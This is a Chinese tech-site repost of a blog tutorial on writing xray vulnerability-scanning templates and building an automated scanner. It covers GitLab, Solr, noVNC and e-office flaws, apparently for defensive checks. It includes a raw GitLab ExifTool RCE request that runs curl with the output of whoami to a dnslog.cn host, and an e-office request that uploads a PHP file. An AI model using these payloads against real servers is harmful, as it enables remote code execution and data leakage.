0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

我的漏洞扫描及安全应急之道

jf_Fo0qk3ln 来源:FreeBuf.COM 2023-09-14 10:42 次阅读

编写POC

以xray为例

学习文档

先学习下相关文档,大家挨个看一遍就行,有个印象即可,不用死记硬背。

如何编写YAML格式POC

POC语法V2版

如何编写高质量的 poc

BugScan 插件开发文档

插件编写

官方公布最基础的POC如下

name: poc-yaml-example-com
# 脚本部分
transport: http
rules:
    r1:
        request:
            method: GET
            path: "/"
        expression: |
            response.status==200 && response.body.bcontains(b'Example Domain')
expression:
    r1()
# 信息部分
detail:
    author: name(link)
    links: 
        - http://example.com

编写编辑器

poc实践

CVE-2021-3654

路径处理出了问题,网站域名加上//example.com/%2f..即可进行url跳转

直接get请求,所以poc很简单,有手就行。

name: poc-yaml-novnc-url-redirection-cve-2021-3654
manual: true
transport: http
rules:
  - method: GET
    path: "//baidu.com/%2f.."
    follow_redirects: false
    expression: |
      response.headers['location']=="//baidu.com/%2f../"
detail:
  author: txf(https://github.com/tangxiaofeng7)
  links:
    - https://seclists.org/oss-sec/2021/q3/188

CVE-2021-22205

exiftool解析造成的rce
一共发送2个请求

dff44200-5297-11ee-a25d-92fbcf53809c.jpg

请求1:

GET /users/sign_in HTTP/1.1
Host: xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

获取csrf-token

请求2:

POST /uploads/user HTTP/1.1
Host: xx
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
X-CSRF-Token: xxx==
Cookie: xx
Content-Length: 879


------WebKitFormBoundaryIMv3mxRg59TkFSX5
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

AT&TFORM�DJVMDIRM.�F���޿� !ȑN��ڈ�k�D,q�I�n����"?FORM^DJVUINFO
dINCLshared_anno.iffBG44J���7�*�BG44��BG44
FORMDJVIANTaP(metadata
(Copyright "
" . qx{curl `whoami`.dnslog.cn} . 
" b ") )

------WebKitFormBoundaryIMv3mxRg59TkFSX5--

上传图片触发rce。

由于xray目前支持的编码解码有限,不支持hex解码,所以我们直接写的简单点,使用随机字符进行判断,poc很简单,有手就行。

name: poc-yaml-gitlab-cve-2021-22205-rce
set:
  r1: randomInt(1, 9999)
  r2: randomInt(1, 9999)
manual: true
transport: http
rules:
  - method: GET
    path: "/users/sign_in"
    expression: response.status == 200
    search: >-
      name="csrf-token" content="(?P.+?)"
  - method: POST
    path: "/uploads/user"
    headers:
      X-CSRF-Token: |-
        {{token}}
      Content-Type: |-
        multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
      Accept: "*/*"
    body: |-
      ------WebKitFormBoundaryIMv3mxRg59TkFSX5
      Content-Disposition: form-data; name="file"; filename="{{r1}}.jpg"
      Content-Type: image/jpeg
      {{r2}}
      ------WebKitFormBoundaryIMv3mxRg59TkFSX5--
    expression: response.body.bcontains(b'Failed to process image')

detail:
  author: txf(https://github.com/tangxiaofeng7)
  links:
    - https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released

CVE-2021-27905

这是SSRF漏洞,需要使用反连平台,加上reverse的即可,官方写的很详细了。所以poc很简单,有手就行。

name: poc-yaml-solr-cve-2021-27905-ssrf
manual: true
transport: http
set:
  reverse: newReverse()
  reverseURL: reverse.url
rules:
  - method: GET
    path: "/solr/admin/cores?indexInfo=false&wt=json"
    expression: |
      response.status == 200
    search: >-
      "name":"(?P.+?)"
  - method: POST
    path: "/solr/{{name}}/replication/?command=fetchindex&masterUrl={{reverseURL}}"
    expression: |
      reverse.wait(5)
detail:
  author: txf(https://github.com/tangxiaofeng7)
  links:
    - https://github.com/murataydemir/CVE-2021-27905

0day应急

不管是甲方还是乙方,一旦暴出新漏洞,应急显得非常重要。
大部分人都是直接写poc批量检测内部应用,当然我也不例外。

举个例子:
泛微e-office 文件上传漏洞风险通告(CNVD-2021-49104)

部署靶场环境

影响版本
泛微e-office V9.0
首先虚拟机安装下。
e00e5104-5297-11ee-a25d-92fbcf53809c.jpg
安装完成后,默认账号admin,密码为空。

POC构造

Burpsuite原始包文

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 10.211.55.11:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.211.55.11:8080/login.php
Cookie: LOGIN_LANG=cn; PHPSESSID=c57f0b37a12cf9dd61e35b909289d1b9
Pragma: no-cache
Cache-Control: no-cache
Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
Content-Length: 191

--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test1.php"
Content-Type: image/jpeg

123

--e64bdf16c554bbc109cecef6451c26a4--

访问上传的文件是否生效
e02e7f60-5297-11ee-a25d-92fbcf53809c.jpg

编写poc

name: poc-yaml-e-office-v9-upload-getshell
manual: true
transport: http
set:
    r1: randomLowercase(8)
rules:
    r1:
        request:
            cache: true
            method: POST
            path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
            headers:
                Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
            body: |-
                --e64bdf16c554bbc109cecef6451c26a4
                Content-Disposition: form-data; name="Filedata"; filename="{{r1}}.php"
                Content-Type: image/jpeg

                {{r1}}
                --e64bdf16c554bbc109cecef6451c26a4--
        expression: response.status == 200 && response.body.bcontains(b"logo-eoffice.php")
    r2:
        request:
            cache: true
            method: GET
            path: /images/logo/logo-eoffice.php
        expression: response.status == 200 && response.body.bcontains(bytes(r1))
expression: r1() && r2()
detail:
    author: test
    links:
        - https://github.com/chaitin/xray/pull/1540/files

XRAY批量

将需要扫描的url写到url.txt里,然后执行如下命令。

./xray_darwin_amd64 webscan --poc "/Users/txf/poc/e-officev9-upload-getshell.yml" --url-file url.txt --html-output result.txt

e04905b0-5297-11ee-a25d-92fbcf53809c.jpg

DIY自动化扫描器

之前看了linglong(一款资产巡航扫描系统)的源码,在他的基础上重构了一些功能。
一起看看我是如何把xray加到自动化扫描器中。

扫描器开关

在linglong的基础上,我为扫描器添加了开关。
e05efa3c-5297-11ee-a25d-92fbcf53809c.jpg
在代码中定义了一个布尔值来做控制。

端口扫描

跟市面上扫描器意义,使用masscan去扫描存活端口,使用nmap进行端口的指纹识别。
原因:

1.Nmap在扫描数量较大的目标时性能缓慢

2.Masscan在高速率的扫描较大端口范围时结果不太准确

web指纹扫描

直接用的开源的识别工具加到代码里。

漏洞扫描

在进行xray漏洞扫描之前,先定义扫描目标的格式,代码如下:
e08746cc-5297-11ee-a25d-92fbcf53809c.jpg

然后调用cmd终端执行xray扫描即可。
e0977092-5297-11ee-a25d-92fbcf53809c.jpg

结果通知

直接写一个企业微信机器人的通知。
e0b13216-5297-11ee-a25d-92fbcf53809c.jpg

当然也可以用xray自带的webhook通知,没用过,这里感兴趣的可以试试。

端口指纹界面:
e0d131ec-5297-11ee-a25d-92fbcf53809c.jpg

漏洞界面:

e0ef4a1a-5297-11ee-a25d-92fbcf53809c.jpg

当然如果是企业自查xray肯定可以开启扫描,如果是SRC扫描的话不建议开xray去扫描,动静太大了。

尾声

如果针对外网扫描的话,建议再加上waf识别,cdn识别,否则效率会很低,还容易被封ip。

总的来说挖掘SRC,更重要的是信息收集。

这就是目前安全应急和漏洞扫描的方法,欢迎大家积极交流。

作者:tangxiaofeng7,转载于FreeBuf.COM

审核编辑:汤梓红

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 漏洞扫描
    +关注

    关注

    0

    文章

    14

    浏览量

    7306
  • PoC
    PoC
    +关注

    关注

    1

    文章

    70

    浏览量

    20522
  • 编辑器
    +关注

    关注

    1

    文章

    806

    浏览量

    31171

原文标题:干货|我的漏洞扫描及安全应急之道

文章出处:【微信号:菜鸟学信安,微信公众号:菜鸟学信安】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    基于树莓派2 blacktrack的系统漏洞扫描

    本帖最后由 weizhizhou 于 2017-4-30 00:06 编辑 基于树莓派2 blacktrack的系统漏洞扫描对Linux系统开发有5年了,近期在blackberry2上移植把玩
    发表于 04-29 09:59

    安全浏览器竟然也被查出高危漏洞?开源安全问题不容忽视

    软件里包含哪些开源组件,是否存在严重安全隐患。 中国开源安全联盟(www.cvecn.com)部分的解决了这些开源漏洞的定位问题。联盟在其官网上提供免费二进制可执行文件扫描服务。可以对
    发表于 09-05 14:26

    固件漏洞安全问题的解决办法

    安全性。  据Gartner数据,截止2022年,约有70%未执行固件升级计划的组织将由于固件漏洞而遭到入侵。而今年疫情的出现也导致了全球供应链不断增加的中短期风险。    固件漏洞正逐年增加
    发表于 09-07 17:16

    一个基于漏洞扫描安全中间件架构设计

    本文结合漏洞扫描技术和安全中间件技术,提出了一种基于漏洞扫描安全中间件的系统结构。该系统将
    发表于 09-03 09:18 18次下载

    [代码整洁之道].(美)马丁.扫描

    电子发烧友网站提供《[代码整洁之道].(美)马丁.扫描版.txt》资料免费下载
    发表于 02-06 16:47 0次下载

    分解漏洞扫描,什么是漏洞扫描

    5W2H 分解漏洞扫描 - WHAT WHAT 什么是漏洞扫描? 首先什么是漏洞? 国内外各种规范和标准中关于
    的头像 发表于 10-12 16:38 1290次阅读
    分解<b class='flag-5'>漏洞</b><b class='flag-5'>扫描</b>,什么是<b class='flag-5'>漏洞</b><b class='flag-5'>扫描</b>?

    分解漏洞扫描,为什么要做漏洞扫描呢?

    5W2H 分解漏洞扫描 - WHY WHY 为什么要做漏洞扫描呢? 降低资产所面临的风险 上文提到漏洞的典型特征:系统的缺陷/弱点、可能被威
    的头像 发表于 10-12 16:39 1381次阅读
    分解<b class='flag-5'>漏洞</b><b class='flag-5'>扫描</b>,为什么要做<b class='flag-5'>漏洞</b><b class='flag-5'>扫描</b>呢?

    华为云VSS漏洞扫描服务为你排除Apache log4j2隐患

    华为云VSS漏洞扫描服务为你排除Apache log4j2隐患 近日Apache Log4j2漏洞持续发酵,已成为中国互联网2021年年底前最大的安全事件。华为云VSS
    的头像 发表于 10-13 13:52 1008次阅读
    华为云VSS<b class='flag-5'>漏洞</b><b class='flag-5'>扫描</b>服务为你排除Apache log4j2隐患

    XSS漏洞扫描器工具

    XSpear是一款基于RubyGems的的XSS漏洞扫描器。拥有常见的XSS漏洞扫描攻击测试功能。还可进行参数分析。
    的头像 发表于 01-17 09:28 1882次阅读

    常见的漏洞扫描工具

    漏洞扫描工具是现代企业开展渗透测试服务中必不可少的工具之一,可以帮助渗透测试工程师快速发现被测应用程序、操作系统、计算设备和网络系统中存在的安全风险与漏洞,并根据这些
    的头像 发表于 06-28 09:42 1725次阅读
    常见的<b class='flag-5'>漏洞</b><b class='flag-5'>扫描</b>工具

    最常见的网络安全12种漏洞扫描类型

    数据库扫描技术主要用于评估数据库系统的安全性,该类型会全面查找数据库设置、访问控制和存储数据的漏洞,比如不安全的权限、漏洞注入问题或不
    发表于 07-12 12:41 1443次阅读
    最常见的网络<b class='flag-5'>安全</b>12种<b class='flag-5'>漏洞</b><b class='flag-5'>扫描</b>类型

    ntopng如何将漏洞扫描与流量监控相结合,以提高网络安全

    ntopng为人所知的“身份”是被动流量监控。然而,如今的ntopng6.0也进化出主动监控功能来,漏洞扫描功能便是其中一个。那么漏洞扫描功能是什么?其独特之处是什么?用户该如何使用?
    的头像 发表于 11-25 08:04 405次阅读
    ntopng如何将<b class='flag-5'>漏洞</b><b class='flag-5'>扫描</b>与流量监控相结合,以提高网络<b class='flag-5'>安全</b>性

    POC管理和漏洞扫描小工具

    本工具是采用javafx编写,使用sqllite进行poc储存的poc管理和漏洞扫描集成化工具。主要功能是poc管理,并且采用多线程进行漏洞扫描
    的头像 发表于 01-09 11:01 843次阅读
    POC管理和<b class='flag-5'>漏洞</b><b class='flag-5'>扫描</b>小工具

    漏洞扫描的主要功能是什么

    漏洞扫描是一种网络安全技术,用于识别计算机系统、网络或应用程序中的安全漏洞。这些漏洞可能被恶意用户利用来获取未授权访问、数据泄露或其他形式的
    的头像 发表于 09-25 10:25 408次阅读

    漏洞扫描一般采用的技术是什么

    漏洞扫描是一种安全实践,用于识别计算机系统、网络或应用程序中的安全漏洞。以下是一些常见的漏洞扫描
    的头像 发表于 09-25 10:27 365次阅读